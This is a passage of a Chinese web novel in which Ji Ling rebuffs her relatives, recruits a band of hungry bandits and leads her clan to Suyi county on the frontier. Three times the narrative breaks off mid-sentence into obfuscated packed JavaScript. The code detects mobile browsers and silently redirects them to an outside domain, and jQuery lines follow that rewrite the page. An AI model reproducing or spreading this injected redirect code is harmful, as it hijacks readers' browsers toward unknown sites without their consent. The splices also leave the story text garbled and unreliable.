姬二郎君也开口道:“三伯,我们想回来可以吗?我们的本意也不是分家,只是碍于我阿耶他……他那时病重,我们就想着遂了他的意莫让他不舒服,现在他已经下葬了。说到底我们都是一家人呢。”他的语气肯定,似乎觉得只要他们说要回来那就是一定的事。
姬父没有说话,只是看向身边的姬昤。
姬四夫人和姬二郎君都有些错愕,不知为何这种事竟然还要问姬昤,他们对视了眼,眼里都是不解。
“大房如今都是听我们三房的,既然你们想回来,自然也要如此。”姬昤说罢,扫过两人的脸,只见他们神色间有些犹豫。
“你们……要不再想想?”姬昤适时又说了句。
两人还是有些犹豫,对视了许久,用眼神不知道传递了多少话。
姬昤又加了把火:“我们早就向陛下请了旨,待大房十三娘子出嫁归宁之后便即刻启程搬往雍州粟邑县,也就是我大兄治下之地。那里条件艰苦,也不知你们能否适应。”
两人脸色微变。
什么时候的事?他们竟然一点儿也不知道!怪不得近些时日姬家总是有人离开便再也没回来,他们还当是姬家没落了养不起下人了于是要遣散些,难不成是先一步去了雍州?
“说到底自然还是建康更好,这里富裕自在,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371503|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你们只要守着分给你们的家财安分过日子定能富贵一生,但若是同我们去了雍州可不知道会怎样。对了,那里匈奴肆掠十分危险,就像现在,秋收时分,他们恐怕又要抢粮食了。”姬昤接着说道,还一边观察着两人的表情。
如果他们听了这些话还是愿意回姬家的话那她无话可说。
“这……”姬二郎君开始摇摆不定了,他看向自己阿母,似乎有点儿想走了。
姬四夫人思索了片刻,然后道:“如你所说确实如此,毕竟我的幼女才十二岁,孙辈们也都还小,我和二郎、静儿他们年岁大自是不要紧,可是孩子们不行。罢了,既如此我们就留在建康吧。”
“好。”姬昤点头。
“咳咳咳,便不多叨扰了,我们这就走了。”姬四夫人撑着椅子扶手,然后还是让儿子扶着站了起来。
姬父不禁说道:“要不让府中大夫给你瞧瞧吧,回去也不急吧?”
姬四夫人淡笑着摆了摆手:“不必了,早瞧过不知多少回了,都说只能这样一直吊着了,好是好不了了,罢了罢了,就这样吧。”
姬二郎君满眼心疼,本来对于弑父一事他一直心怀愧疚,每每夜里梦见亡父问他为何至此、为何如此冷血无情,可如今听到阿母的话,看见阿母的样子,他觉得值了。
阿耶该死。
“这样,我让下人从库房拿些药材来,你带回去,能治好些也好。”姬父说着就招呼管家去了库房。
“如此多谢三兄了。”姬四夫人。
“多谢三伯。”姬二郎君也道。
“都是一家人,不必如此客气。”姬父摆了摆手。
送走了姬四夫人和姬二郎君,姬父背着手看着他们远去的背影颇为感慨。
“大兄死了,四弟也死了,兄弟五人如今
竟只剩下我和老五了。”
“阿耶,当年二伯是怎么死的?”姬昤问道。
姬父的表情有一瞬间的难看,他沉默了会儿才说:“这你就别问了。”
“四叔和五叔一起害死的吧。”姬昤语气淡淡的,听着像是早就知道了。
姬父有些错愕地看向姬昤:“你怎么知道的?”
长辈之间的恩怨他本无意让孩子知晓,也只有瑾儿那时已经记事记得,瑜儿和昤昤都不知道,可是现在昤昤是怎么知道的?难不成是哪个多嘴的下人婆子说漏了嘴?
“阿耶不必猜了,这事又不是什么秘辛,在府里随便一打听就能知道了。”姬昤说道,“既然他们不想去了正好,省的到路上反悔了弄出其他事来耽误咱们。”
姬父张了张嘴,虽然觉得女儿不该这么说,但想想还是算了。
当年兄长被四弟五弟联手害死,那时他性子太过懦弱,族老们又一再告诉他家族利益至上,人已死就不要再追究了,莫让姬家产生更大的损失。
当年他忍了。
但他也后悔了。
“罢了,你去跟十三妹妹玩会儿,她还有十天及笄,再过半个月她就要嫁人了,她出嫁三日后归宁,再之后我们便要出发去雍州,日后怕是再难相见了。”姬父说道。
“嗯。”姬昤应声,接着离开了厅堂。
25.劫匪
十月初二,姬家大房十三娘子及笄。
十月初七,十三娘子出嫁。
十月初十,十三娘子归宁,夫婿郑家六郎陪同,临走时十三娘子哭得不能自已,活脱脱哭成了一个泪人儿,她的阿母——姨娘罗氏也浸湿了眼眶,最后叮嘱了十三娘子几句便送她上了马车离去。
当晚,姬家人都开始忙碌起来,最后还有些东西要收拾出来一起带走,至于说好分给皇帝的三成财物也在十三娘子及笄当日送到了宫里。
翌日清晨,姬家众人站在大门外望着高悬的牌匾,几个下人正在拆卸,用族老们的话来说就是——
这牌匾是姬家的荣耀,乃当年梁朝太祖皇帝赏赐,得带走。
最后,浩浩荡荡的长队伍就这么往城门的方向离去……
皇宫。
城墙之上。
在这里可以眺望几乎整个建康城,皇帝在听说姬家人已经动身时便站在了这。
贴身太监见皇帝神色不明,还当他是不舍得了,毕竟当初也是一起抢过皇位的人。
“你说,他们去了雍州可会连同姬瑾占了粟邑县自立为王?”皇帝眯了眯眼。
贴身太监眼神一变,幸好他没出口安慰。
“陛下,无论会不会,光是那个地方就很难啊。”太监说道。
“哦?”皇帝反问了声。
“那里地处边疆,边上的匈奴和鲜卑日日威胁着,哪怕他们自立为王了,不还得忙着对付匈奴和鲜卑吗?若是他们赢了,也只会是惨胜,这不正好帮陛下解决了边疆隐患吗?”太监说道。
“所言有理,所言有理啊。”皇帝笑眯眯地拍了拍太监的肩膀,瞧着十分喜悦。
太监连忙赔笑:“都是陛下英明!”
浩浩荡荡的马车队伍赶着路,一路上引得不少人注目。
为首的马车内。
姬昤掀开帘子看着外面,她有些疑惑。
“怎的建康城内外的流民乞儿都少了许多?”
“是吗?”姬父也跟着瞧了瞧,“还真是,我记得之前有很多的,怎么现在就这么零星几人?”
“昤昤,听闻前段时日有许多流民乞儿找你,所为何事啊?”姬母询问道。
“也没说什么,就是问我们是不是要去雍州粟邑县,然后说了句再会就……”姬昤说着说着突然想到了什么,她放下了帘子,“再会?再会……他们不会去雍州了吧?”
“啊?”姬父姬母都很震惊地看着姬昤。
姬昤挠了挠脸:“我瞎猜的,这事不一定,你们先别信。”
姬父姬母对视了眼,他们还是先信一下吧,可信度太高了。
姬家日夜兼程地赶路,此时已达合肥地界,大家寻了处靠水的平地停车修正。
大家下了马车,一个个都伸展着身体。
日夜总是坐在马车上,时间一长就十分不舒服。
妇好等人没有坐马车,全部骑马,就连卫子夫在长时间随几人习武的情况下也骑了马。
姬父更加确定自己女儿是要谋反了,这一个个能人异士全部聚集在身边总不可能是为了祝贺陛下万岁的吧?
霍光和小厮跟在谢渊身后走到了河边,只听谢渊说:“哪怕在马车上你也不能松懈了学习。霍光,五日后交一篇策论给我,内容么……就以沿途所见所感为题吧。”
“喏,弟子定当不负先生所望。”霍光说道,表情看不出一丝不愿,他的眼睛亮闪闪的,似乎还跃跃欲试。
谢渊的小厮不禁眼皮一跳,他赶紧捂住了眼皮跳的那只眼。
先生这弟子怎么跟先生一个样子?
啧啧啧,先生真是吓人,读书人真是辛苦,到哪儿都要学习。
还好他不用读书。
“你也写一篇,要求略低,三百字即可。”谢渊对小厮说道。
小厮:“……”
想死。
他真是比读书人还要辛苦。
他命苦。
“三娘子,我等先去附近查看一番。”卫青骑着马到了姬昤身边,说道。
妇好和秦良玉二人在两边。
姬昤扫了眼三人,真是人高马大。
秦良玉和卫青差不多高,都在一八五左右,妇好也有一七五,一个个都是大高个,姬昤不免有些自卑,她这才一米六出头的个子还有机会再长吗?
“去吧。”姬昤说道。
三人调转方向骑马而去。
剩下的所有人都待在原地,下人们开始生火打算做饭了,死士们都在附近的地方巡逻,以防出现刺客刺杀。
姬家说是三千死士,实则不过两千人左右,而且在分家之后还被四房、五房各分去五百人,如今只剩下一千人左右。
到底是姬错心善,死士本只听命于姬家家主,但他最终还是为了四房和五房人的安全考虑分给了他们共一千人。
姬呈走到了姬昤身边,说道:“绥英,你身边这些能人异士都是从哪儿找来的?我怎么瞧着比姬家养的死士还要厉害许多?”
姬家为了养这些死士也是付出了极多的,向里面投入了不少人力财力,可是现下看姬昤身边的那些人,一个个瞧着都武艺高超的样子,很是厉害。
姬昤微微一笑:“自然是因为我文武不凡、天资聪颖,所以引得这些人前来投奔。”
姬呈愣了一瞬,不禁多看了眼姬昤。
姬昤原来这么自恋的吗?他记得姬昤小时候不是这样的啊,爱撒娇、活泼可爱、爬树摸鱼样样在行,但……从未这样自恋。
姬昤见姬呈没声音,她转头看向姬呈:“怎么了,被我的美貌惊艳了?”
姬呈:“……”
虽然他有些震惊,但姬昤所言不虚,她的样貌确实极佳,鬓发如云、仙人之姿,眉眼之间尽显英气,她的容貌将三叔和三叔母的所有优处集合在了一起,但……未免太自恋了些,一时间让人有些难以接受。
“绥英……你真有意思。”姬呈想了半天才说出了这句话。
姬昤眼睛笑得眯了起来:“我也这么觉得,我很有意思。”
“……”姬呈抿了抿嘴,然后道,“我去那边瞧瞧,你嫂嫂好像有点事找我。”说罢转身就走,就差跑起来了。
这时,妇好三人骑马赶了回来。
“有劫匪!!”
所有人立刻警惕起来,死士们全部拿好了大刀严阵以待,将姬家众人护在中间。
劫匪瞧着有上百人,为首有五个骑着马,一看地位就是最高的。
中间的那人身高八尺有余,一身腱子肉,满脸胡子,一只手拿着一把长枪,另一只手牵着缰绳,他的眼神充满了煞气。
“此山是我开,此树……”男人话未说完,姬昤忍不住接话了。
“此树是我栽,要想过此路,留下买路财。”姬昤说完嘿嘿一笑。
其他人:“……”
男人怒目圆睁,喝道:“放肆!这是我的话!”
他身边的几个男人也拿着武器指着姬昤大骂“放肆”。
姬昤敛了笑容,翻身坐上马,然后伸出一只手:“拿我枪来。”
月栀立马去拿了姬昤的长枪来举起来递给马上的姬昤,姬昤接过,然后指向劫匪们。
“哪座山头的?报上名来!”
月栀也叉个腰站在姬昤边上,气势汹汹地瞪着劫匪们。
幸好这一年多她也被娘子逼着锻炼身体,不然还真拿不动娘子的长枪。
劫匪们听到姬昤的话都笑了,一个个好似嘲笑似的。
“老大,这小娘子抢咱们的话呢!”
“老大,好好教训他们一下!让他们知道咱们的厉害!”
“老大,这群人一瞧就很有钱,定是贪墨民脂民膏的高门大户!咱们抢这一次,兄弟们能活到过年啊!”
……
那群劫匪叽叽喳喳的话语传入姬昤的耳朵,听着他们说的话,什么“贪墨”,什么“活到过年”,姬昤心想,这些劫匪应当是落草为寇的,原先应也不是什么恶人。
“注意轻重,莫杀了他们。”姬昤轻声说道。
身边的妇好等人皆应声说“好”。
一千死士也全部准备好,随时可以进攻。
“月栀,吩咐下去,不可伤人性命。”姬昤又弯下腰对边上的月栀说道。
月栀狠狠点头,转身去传话之前还狠狠瞪了眼劫匪们,好似她要去传什么“圣旨”一般。
随后,姬昤清了清嗓子,喊道:“为何要做劫匪打劫?你们在这,恐怕周围的百姓日子也过得不安生吧?”
男人冷笑了声:“百姓?你们何不睁大眼睛好好去瞧瞧,这周围哪儿还有百姓?!皇帝世家不仁,百姓饱受欺压,我们就是百姓!呵,落草为寇……若是能吃饱能穿暖,谁愿意做寇贼?!就是你们这些人,日日饕餮盛宴,哪怕是吃剩的都不愿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377386|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分给我们些,还要抢我们的口粮,我们上哪儿去说理?到处都是你们这样的人!”
男人很愤怒,嘴里唾沫因太过生气四处飞溅,他一个八尺壮汉此刻脸都涨红了,眼眶也红红的,还有些湿润,似乎都要气哭了。
其他劫匪们听得潸然泪下,但又想起自己是劫匪,这样显得他们很软弱,不过片刻一个个又变得凶神恶煞。
“不仅如此,那皇帝老儿竟还割地给羌胡,还,还,还要送一个贵女去和亲,叫什么郡主来着?”男人说着开始回想那个名字。
“安定郡主。”姬昤不禁提醒道。
“对,安定郡主!”男人连连点头,然后眯了眯眼,“你们……是从建康过来的?”
瞧他们过来的方向像是。
“是。”姬昤点头应道。
“那你们应该比我们更清楚其中事由!罢了,旁的不多说,我们也不杀人,只要钱财粮食,不过不会全拿走,只要你们交上一点便可过路。怎么样,自己选吧,是交物还是宁死不给?”男人举起长枪指向姬家人。
姬昤扫了眼男人身后的“弟兄们”,这么多人,一人一点加起来也很多了,而且他们也要赶很久的路,大部分东西都已经先送去雍州了,现在留下的都是赶路吃的用的。
“这样吧,你们要是愿意可以和我们一起赶路,一路上我们可以负责你们的吃喝。”姬昤说道。
姬家人都看向姬昤,不知道她这是什么意思,族老们在远处的马车上坐着又听不清在说什么,只得让下人跑来跑去地传话,一得知姬昤说的话都不免有些生气。
家主还在,怎能任由一个小娘子发话做主?!
这时,传话的下人又跑到了姬昤身边,一脸为难地说道:“三娘子,族老们说……说……让您回马车上去,莫要在外面抛头露面,万事由家主去做就是了。”
姬昤回头瞥了眼马车上掀开帘子看着这边的族老们,微微一笑,族老们气也顺了些,以为她会乖乖照做,结果下人回来传话,说姬昤说——
“我就不。”
族老们气坏了,最后直接甩下帘子,眼不见心为净。
“和你们一起赶路?什么意思?你们要去哪儿?”男人很是疑惑。
“我们从建康来,要去雍州粟邑县,一路上我们给你们食物,如何?”姬昤微笑看着男人,说道。
男人和身边几个骑马的兄弟面面相觑,觉得这其中有诈。
“你们是想让我们护卫你们过去吗?食物是给我们的报酬?”男人问。
姬昤笑了:“你看看我们这边千人的护卫,我们还需要你们一百来号人护卫吗?”
“那你是几个意思?谁会白给别人吃食?”男人哼了声。
“老大,雍州!粟邑县!那边可是边疆,旁边就是匈奴和鲜卑,特危险!”男人身边的人提醒道。
“没错,特别危险。”姬昤一口承认,接着又道,“不过我也不是让你们去送死。你不是说你们是被逼成了草寇吗?此去粟邑县,你们可以为农种地,亦可参军杀敌,亦或者其他,怎么选择在你们自己,我只是给你们提供一条活路罢了。”
男人还是觉得不对劲,总感觉有些奇怪,于是他问:“报上名来,我们不抢无名之人!”
“姬昤,姬绥英,你们也可以称我为……安、定、郡、主。”姬昤说完露出一个明媚的笑容。
劫匪们面面相觑,谁?谁??安定郡主?不就是老大刚才说的那个要被送去羌胡和亲的安定郡主吗?!
“你你你你……”男人指着姬昤突然开始结巴,“你是安定郡主?你你你,你不是,你不是,你不是十九日就要出降羌胡和亲去了吗,怎么会在这?那,那,你们就是姬家人了?
”男人说着又看向姬家其他人。
“本是十九日出降不错,不过呢我有病在身,婚期往后延了。还没想好吗?要要跟我们一起赶路?”姬昤耐心问道。
“你等等,我们商量一下!”男人喊道,然后下了马回到兄弟们的队伍中,一群人窸窸窣窣开始商量。
姬家这边,姬昤一声令下,死士们没有动静,姬昤一时间有些尴尬,不禁看向阿耶,撒娇似的喊了声“阿耶”,姬父会意,立马让死士们退后散开。
妇好等人也都全部退后了些,随时等待命令。
过了一会儿,姬昤听到了令人满意的话——
“我们与你们同行,赶往雍州。”
26.葡萄
姬家本就庞大的队伍更加壮大了,这次多了一百七十四人。
本来是一百一十三人,但山上还有些老弱妇孺孩童,也就一起带着走了。
为首的劫匪叫吴常,姬昤改骑马和他一路上聊天知道了他们这群人为何从百姓变成了匪徒——
近些年来天气不好,庄稼收成自然也就差了,可税却是一年比一年高,他们没得法子,本想着忍忍就过去了,可是官府和世家全都在压榨他们,他们实在是活不下去了,没办法才躲到了山上做了匪徒,他们其实也不想这样的。他们从未杀过人,每次也只是抢些钱财食物,多的一分都不要。
怪不得呢,姬昤瞧这些山匪虽是匪徒,却有好些面黄肌瘦的。
这年头做山匪都吃不饱了。
深夜里。
姬家人去了山匪们的山头上休息,这里房子不多且大多简陋,勉强遮风挡雨,还有许多人是没法儿住在屋子里的,因此姬昤便让孩子和老人去了屋内住,其余人都在外面报团取暖。
大家弄了许多火堆,天气已经有些微凉了,到了夜里大家都得多加件衣裳才行。
山匪们没有多余的衣物,只是一个比一个靠着火堆更近。
姬昤和阿耶阿娘商量了之后拿了些衣物给他们,吴常作为山匪老大一时间感动不已,一个大男人差点又落泪了。
“郡主,您怎么要跑到那么远那么苦的地方去?”吴常坐在姬昤旁边,问道。
姬昤瞥了他一眼,笑问:“既然知道那么远那么苦为何还要跟我们一起去?怎么,安定郡主这个名头这么好用?”
吴常立刻反驳道:“哪里是安定郡主的名头好用,是‘姬昤’这个名字好用。”
此话一出,姬父姬母喜笑颜开,满脸都是骄傲。
“我这个宝贝女儿自小到大便是如此,谁见了都喜欢她呢!”姬母说着遮着嘴笑个不停,还一边摸着姬昤的手,觉得这是自己养育的最优秀的花儿。
“是啊,昤昤平日里很是心善,总是施粥送冬衣,建康的流民乞儿都认识她,我就是没想到,合肥这边也知道了呀!”姬父很是惊讶。
姬昤坐在旁边抱紧了自己的双腿,稚嫩的脸蛋被火光照耀着,不知是脸红还是热的。
“三娘子确实很好。娘子张嘴。”卫子夫坐在姬昤身边,手里拿着一颗剥了大半皮的葡萄递到了姬昤嘴边。
姬昤咳了两声,伸出手:“我自己来吧。”
“娘子不必动手,汁水干了之后会粘手,我来就好。”卫子夫淡笑道。
“啊……行。”姬昤顿了顿还是同意了,只是月栀她……
姬昤默默回头看向身后的月栀。
月栀一脸幽怨地看着卫子夫,等姬昤回过头后又盯着姬昤,泪眼汪汪的。
娘子身边的位置竟然被人占了,她还是不是娘子最好的月栀了?!
姬昤呆呆地转回了脑袋,默默吃下葡萄。
吴常盯着姬昤的嘴,他好奇地问:“葡萄是何物?是果子吗?”
姬昤立马顺着他的话说了下去,逃避了卫子夫和月栀给她造成的尴尬氛围。
“对,是种果子,专门供给皇室所食,这都还是临行前陛下赏的,姬家也无多少。”
“原是供果,怪不得我都没见过。我原是专门给合肥周家养果子的,却从来没见过这种,这是不是极为难得?”吴常又问。
“葡萄只有每年九十月份供给给皇室,皇帝心情好了便会赏一些给别人,我们姬家临行前也只不过得了五十颗。”姬父解释道。
吴常冷笑了声:“怕是耗费了不少人力物力吧,可怜那些送物的人。换做从前便还好,赏赐多,累就累些,大家也能养活全家,可是现在呢?遍地劫匪,沿路官员再克扣,赏赐几乎没有,还不能不送,会杀全家,呵!皇帝不仁啊,看不见底下人的苦,也不理会百姓的冤。”
“是啊,听说这批供果送来时路上还死了好些人,有些是累死的,有些是被劫匪杀的,有些甚至死因不明。”姬昤看着火光上架着的烤鸡,又看了眼丢在地上的葡萄皮。
吴常的眼神在火光里熊熊燃起,他缓缓吐出三个字——
“狗、皇、帝!”
众人都不禁多看了眼吴常。
他对皇帝的怨恨都已经溢出来了。
“也就是在这里你能这么说,若是让官差听到了定要抓你们去蹲大牢。”姬昤递了颗葡萄过去,“尝尝看什么味道吧,挺甜的。”
吴常盯着那颗葡萄盯了许久,最终才在背后兄弟们的注视下接过了葡萄。
他的兄弟们一个个咽着口水,一脸期待地看着他。
“老大你快尝尝!”
“老大快尝尝是啥味儿啊?有多甜?”
“老大老大好吃吗?”
……
在“万众瞩目”之下,吴常剥开了葡萄皮将果肉放进了嘴里。
牙齿咬下的一瞬间,清甜的汁水浸在吴常的唇齿之间。
吴常清晰地听到身后传来一阵阵咽口水的声音。
“原来这就是葡萄,难怪狗皇帝这么喜欢,死那么多人也要吃。”他喃喃着。
弟兄们纷纷询问吴常的味道,吴常只是一味地回答“好吃”,之后找了个借口走开了,其他人围在火堆前眼巴巴地看着剩下的葡萄,虽然大家都很馋却没一个开口的。
葡萄只剩四十颗了,姬昤便做主分给了他们,一个个跟如获至宝似的小心翼翼地把葡萄捧在手心里。他们大多都是一家人待在这儿,他们得到了葡萄便一家人围在一起你舔一口我嗦一口的,好几个人分食一颗葡萄。还有一些人没分到葡萄,姬昤又给了些旁的还算名贵他们没吃过的水果。接着,姬昤起身,走向吴常。
他在远处的一棵大树后坐着,背靠着树干。
“怎么了?”姬昤站在吴常身边,轻声问道。
吴常撇过头去,手在脸上随意比划了几下,好像在擦眼泪。
“葡萄真好吃啊……”他说。
姬昤在吴常身边坐下,然后问:“你很讨厌现在的皇帝吗?”
“只要让百姓过不好的皇帝……不,也不是说过不好吧,如果百姓都吃不饱穿不暖,这个皇帝我就不喜欢。”吴常说道。
“很正常,如果一个皇帝让治下百姓都过得苦不堪言的话,那他确实应该被讨厌。”姬昤笑道。
吴常看向姬昤:“你是世家娘子,从小锦衣玉食什么都不缺,怎么会理解……”
“为何不理解?”姬昤反问,然后说道,“百姓们其实要的很简单,就是吃饱穿暖,可只是这么简单的事一个当权者都不能满足的话……皇位堪忧咯!”
吴常闻言大吸一口凉气:“我想起来了!”
姬昤吓了一跳,捂住了心口:“想起来什么了?”
“我远在涪陵郡的表亲给我来信说涪陵王好像在养私兵,他可能要谋反。”吴常说道。
“涪陵王?”姬昤开始回忆。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382508|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个涪陵王好像是是先帝时期册封的,算起来是现在皇帝的皇叔。虽然安朝才短短几年历史,但已经历经两任皇帝了,安朝太祖皇帝死因成谜,现在的皇帝由姬家扶持上位。安家在成为皇室之前祖祖辈辈都是屠户或是猎户,这个涪陵王么,是先帝的同胞兄弟,是安家难道的一个读书人,不过只考到了秀才,却也是安家的人才了。没想到他也想谋反。
姬昤想到这一愣,什么叫也?她那只是为民除害,做好人好事。
对,好人好事,才不是谋反。
当然也不是篡位。
叫为国为民。
“连皇帝的叔叔都看不下去要谋反,更何况别人呢?我还有一个远在中山郡的表亲也给我写信说,中山王好像也要谋反。”吴常又道。
姬昤不禁挑眉瞪大了双眼,中、山、王?
“这个中山王……他应该有个很厉害的后代子孙吧?”姬昤笑了笑,她想起了刘备。
吴常一脸奇怪地看着姬昤:“中山王是先帝封的异性王,今年好像才……三十岁,比那狗皇帝还要小呢。而且他也不厉害,当初打仗受伤了,如今是个残废,据说还瞎了只眼。”
姬昤笑了笑:“吴常,你……你表亲还挺多的哈,到处都有。”
吴常无奈笑了笑:“这年头大家都难,我家里的人都四处奔波只为赚点活命钱,不然谁愿意跑那么远?”
姬昤拍了拍吴常的肩膀:“等你们到了粟邑县,如果日子渐渐好了,你们也可以把家里人都叫过去生活,家人在身边也更幸福。”
粟邑县人一多,嘿嘿嘿,她不就有了许许多多的初始子民?哈哈哈!她还有五千斤番薯没拿出来,到时候拿一半分给大家,一半拿来种,以后大家就会渐渐不缺粮食了。
对了,还有五千斤马铃薯,看来她要尽快拿到姬家家主之位了。
“三娘子,我们……真的还有好日子可以过吗?”吴常一个大男人此时十分迷茫,他有些看不清未来了。
在以前,像他们这样的小老百姓每天种种地,亦或者打猎、卖东西,总有一天能过上还算富足的日子,只是要的时间比较长,几年、十几年、几十年,可是现在,不论做什么、不论多久,都好像不可能了。
“当然,相信你们自己,也相信我!”姬昤扬着灿烂的笑容看着吴常。
吴常看得有些发愣,然后他苦笑了一下:“如果我的一对儿女能听到有人这么对他们说就好了。”
姬昤闻言,顿时觉得这话不对。
“你的儿女……”她欲言又止。
“生病,又饿,家里没钱治,死了。我的妻受不了,跳河也死了。爹娘年岁大了,家中越发贫苦,他们不忍拖累我,躲到了山里活活饿死了自己。后来我就当了山匪。”吴常语气平常,就好像在描述一件稀疏平常的普通事情。
“节哀。”姬昤面色严肃,语气惋惜。
“三娘子,您真的要嫁给羌胡王子吗?”吴常看着姬昤,很是担心。
“怎么可能?!所以为了不嫁到羌胡去,我们姬家舍了钱财转去粟邑县守边关,也好让皇帝把我的婚期一而再再而三地往后挪,让他去跟羌王周旋吧,我不管了。”姬昤耸了耸肩。
吴常一听很是愤怒:“狗皇帝!”
姬昤愣了愣,尴尬地笑了笑:“去休息吧,我们离粟邑县还很远,要赶很久的路呢。”说罢起身,看着远方一重又一重连绵的山,粟邑县就在那一片片山之后。
27.到达
过了合肥,又到寿春,接着是许昌。
一行人已经赶了一大半的路了,日子也过去了差不多一个月,剩下还有不到一个月的路程。
快到十一月中了,天气越来越冷。
下雪了。
“行行好,给点吃的吧。”
“大人,娘子,我的孩子已经三日没进食了,散散好心给点儿吃的吧。”
“大人,我给您牵马,我不多要,两个馒头就行!”
“大人,看看这个女孩儿吧,她年纪小,您多养养就不会记得我们了,只要一斗米!一斗米!”
……
越到冬天一路上的乞儿、流民就越发多了,姬昤这一路上已经见了太多了。
姬昤掀开了帘子看着外面的景象,吴常骑着马在一边。
“三娘子,不,不给点吃的给他们吗?”吴常看着这一切十分不忍心,于是问道。
这一路他们跟着姬家是吃饱穿暖了,可是看见这些人就好像看见了从前的他们,所以也想帮帮他们。
“吴常,不是我们不给,是不太合适。”姬昤说道。
“为何?”吴常不解。
姬昤笑了笑:“我们能给他们,那之前的人呢?之后再遇见的人呢?都给吗?我们的粮食也不多了,更何况我们还有千人呢,给了他们,我们呢?是要饿死吗?”
吴常张了张嘴,最终叹了口气,然后道:“是我局限了,三娘子说得对。”
“不过……”姬昤。
“不过什么?”吴常又问。
“这样,你去跟他们说,如果想要活命可以选择去冯翊郡粟邑县,那里有粮食吃有衣服穿,虽然赶路确实要很长时间,他们不一定能活着到那里,看他们自己选择。”姬昤说道。
吴常心中一喜,果然还是那个心善的姬三娘子!
“我这就去!”他喊着骑马就跑开了。
不一会儿他又回来了。
“三娘子,我都说了一遍,不过瞧着他们意愿不大的样子。”吴常有些苦恼。
“正常,从这儿到粟邑县还要大半个月,他们在这儿都活不下去了,又如何能活着到粟邑县?我也只是给他们指了一个方向,去不去由他们。”姬昤说道。
“我已经很努力劝他们了,可是他们大多都不信,唉。”吴常叹了口气。
姬昤笑了笑:“不信才是正常呢,别想了,你已经尽力了。”
队伍越走越远,逐渐进了城。吴常看着城内欢笑笙歌的人们,又回头看了眼城外苦命乞讨的流民,心中悲凉。
雪越下越大,本来二十天的路程硬生生花了三十天,其中多的十天一直是在铲雪、清路,等到了粟邑县时已经是十二月中旬了。
冯翊郡粟邑县。
姬瑾和一干人等撑着伞站在城门口遥遥相望,等能看清人脸时,姬瑾扬起一只胳膊挥了挥手。
“昤昤!”他远远就喊出了姬昤的昵称。
姬昤掀开帘子也挥手,大声喊着“阿兄”。
这时,一个人从姬瑾身后冒了出来,他蹦着喊着“三娘子”。
姬昤一愣,那是谁?
“昤昤,那是何人?是你的朋友吗?”姬父问。
姬昤眯了眯眼想看更清楚,待马车更近时她才认出来是谁。
是那个在建康姬府门外问她是否要去雍州的乞儿!现在竟然穿得干干净净的!
他果然来这儿了!跟她想的一模一样!
一行人被带路去了粟邑县县令府旁的府邸,这个府邸比起建康的姬府要小太多了,但比县令府还要大,只是略显粗糙。
“这是……”姬父看向姬瑾。
“阿耶,早听昤昤说你们要来这儿住,儿子便自掏腰包和从……姬家送来的财物离拿了些建成了这座府邸。这宅子比不上建康的,怕是要委屈……”姬瑾说着看向后方一脸不满的姬家族老们,“族老们了。这宅子已是粟邑最好的宅子了,莫要嫌弃。”
有几个族老还是忍不住吐槽了几句。
“看看这墙面,比起建康的姬府差得太多了!”
“这大门太小气了,怎么凸显我姬家的身份?”
“这宅邸未免太小了些,怎么住得下这么多人?”
……
族老们话里话外都是嫌弃,嫌弃新宅邸,嫌弃粟邑县,嫌弃这个嫌弃那个,就没有他们不嫌弃的。
姬父姬母就跟没听到似的,吩咐下人——原先在建康姬家的下人们大多都跟着一起来了,只有小部分拿了卖身契和银子走人了,他们把一路带来的姬家牌匾挂了上去。
“把东西全部放进去。”姬父转身对身后的下人们说道,接着他们将马车上的东西一箱箱卸了下来,一个接一个送进了新的姬府中。
“阿耶,新的府邸和远在建康的差不多,只是少了许多屋子,布局都是一样的。”姬瑾说道。
姬父满意地点了点头,一边叮嘱着下人们:“都听到了吧?去放东西吧。”
姬母摸了摸自己的脸,不禁说道:“这儿确实有些干,感觉我的脸都开始缺水了。”
“滋润定还是建康滋润,但这儿没有人盯着咱们,可比建康舒服。”姬昤安慰道。
“也是,在这儿我就不用参加这个宴那个宴了,一个个天天跟我打听昤昤你的婚事,要么就是大兄二兄的婚事,我一天天头都疼死了。”姬母扶额无奈道。
姬昤一听到“婚事”赶紧走开,和在城门口向她打招呼的那个男人聊了起来。
“你们怎么在这儿?”姬昤问。
“三娘子可还记得之前我说的‘再会’?”男人笑呵呵地看着她。
“记得。”姬昤点头。
“所以我们就先走一步,一直在这儿等您来呢。”男人笑道。
“等我?你们?”姬昤。
“一共两百一十三人,全部都在这儿了。姬三娘子,我们全都在这儿安了家,以后便是粟邑县的百姓了。”男人。
“真的吗?好事啊,以后你们便不用乞讨了,也算是有家了呀。”姬昤高兴道。
